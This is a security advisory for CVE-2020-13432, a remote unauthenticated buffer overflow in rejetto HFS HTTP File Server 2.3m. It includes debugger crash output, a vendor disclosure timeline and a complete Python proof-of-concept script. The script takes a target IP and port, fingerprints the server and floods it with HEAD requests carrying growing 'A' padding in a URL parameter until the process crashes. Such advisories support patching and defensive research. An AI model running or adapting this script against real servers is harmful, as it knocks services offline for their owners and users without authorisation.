[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/HFS-HTTP-FILE-SERVER-v2.3-REMOTE-BUFFER-OVERFLOW-DoS.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.rejetto.com [Product] HFS Http File Server v2.3m Build 300 [Vulnerability Type] Remote Buffer Overflow (DoS) [CVE Reference] CVE-2020-13432 [Security Issue] rejetto HFS (aka HTTP File Server) v2.3m Build #300, when virtual files or folders are used, allows remote attackers to trigger an invalid-pointer write access violation via concurrent HTTP requests with a long URI or long HTTP headers like Cookie, User-Agent etc. Remote unauthenticated attackers can send concurrent HTTP requests using an incrementing or specific payload range of junk characters for values in the URL parameters or HTTP headers sent to the server. This results in hfs.exe server crash from an invalid pointer write access violation. Requirements: hfs.exe must have at least one saved virtual file or folder present. Test using a remote IP and NOT from the same machine (localhost). Dump... (e4c.3a8): Access violation - code c0000005 (first/second chance not available) For analysis of this file, run !analyze -v WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds. eax=000a1390 ebx=000a138c ecx=006eb188 edx=001b0000 esi=00000000 edi=00000002 eip=777ef8b4 esp=000a0e0c ebp=000a12cc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 ntdll!RtlpResolveAssemblyStorageMapEntry+0x18: 777ef8b4 53 push ebx 0:000> !load winext/msec 0:000> !exploitable WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds. *** WARNING: Unable to verify checksum for hfs.exe Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at ntdll!RtlpResolveAssemblyStorageMapEntry+0x0000000000000018 (Hash=0x7a29717c.0x325e6a71) PROCESS_NAME: hfs.exe FOLLOWUP_IP: hfs+8fad7 0048fad7 8945f0 mov dword ptr [ebp-10h],eax WRITE_ADDRESS: 000a0e08 [References] https://github.com/rejetto/hfs2/releases/tag/v2.4-rc01 [Exploit/POC] from socket import * import time,sys #HFS HTTP File Server v2.3m build 300. #Vendor: www.rejetto.com #Remote Remote Buffer Overflow DoS #Note: hfs.exe must have at least one saved virtual file or folder on the target #test using a remote IP and not from the same machine. #Discovery: hyp3rlinx #hyp3rlinx.altervista.org #ISR: ApparitionSec #========================================================================= res="" once=0 cnt=0 max_requests=1666 def hfs_dos(): global ip,port,length,res,once,cnt,max_requests cnt+=1 length += 1 payload = "A"*length try: s=socket(AF_INET, SOCK_STREAM) s.settimeout(2) s.connect((ip,port)) ##bof ="HEAD / HTTP/1.1\r\nHost: "+ip+"Cookie: "+payload+"\r\n\r\n" bof ="HEAD /?mode="+payload+" HTTP/1.1\r\nHost: "+ip+"\r\n\r\n" s.send(bof.encode("utf-8")) if once==0: once+=1 res = s.recv(128) if res != "": print("Targets up please wait...") if "HFS 2.3m" not in str(res): print("[!] Non vulnerable HFS version, exiting :(") exit() except Exception as e: if e != None: if str(e).find("timed out")!=-1: if res=="": print("[!] Target is not up or behind a firewall? :(") exit() else: print("[!] Done!") exit() s.close() if cnt == max_requests: return False return True def msg(): print("HFS HTTP File Server v2.3m build 300.") print("Unauthenticated Remote Buffer Overflow (DoS - PoC)") print("Virtual HFS saved file or folder required.") print("Run from a different machine (IP) than the target.") print("By Hyp3rlinx - ApparitionSec\n") if __name__=="__main__": length=3 if len(sys.argv) != 3: msg() print("Usage: <hfs.exe Server>, <Port (usually 8080)>") exit() ip = sys.argv[1] port = int(sys.argv[2]) msg() while True: if not hfs_dos(): print("[!] Failed, non vuln version or no virtual files exist :(") break [POC Video URL] https://www.youtube.com/watch?v=qQ-EawfXuWY [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: May 18, 2020 Vendor reply: May 18, 2020 Vendor confirm vulnerability: May 19, 2020 Vendor creates fix: May 20, 2020 Vendor released new version 2.4 : June 7, 2020 June 8, 2020 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx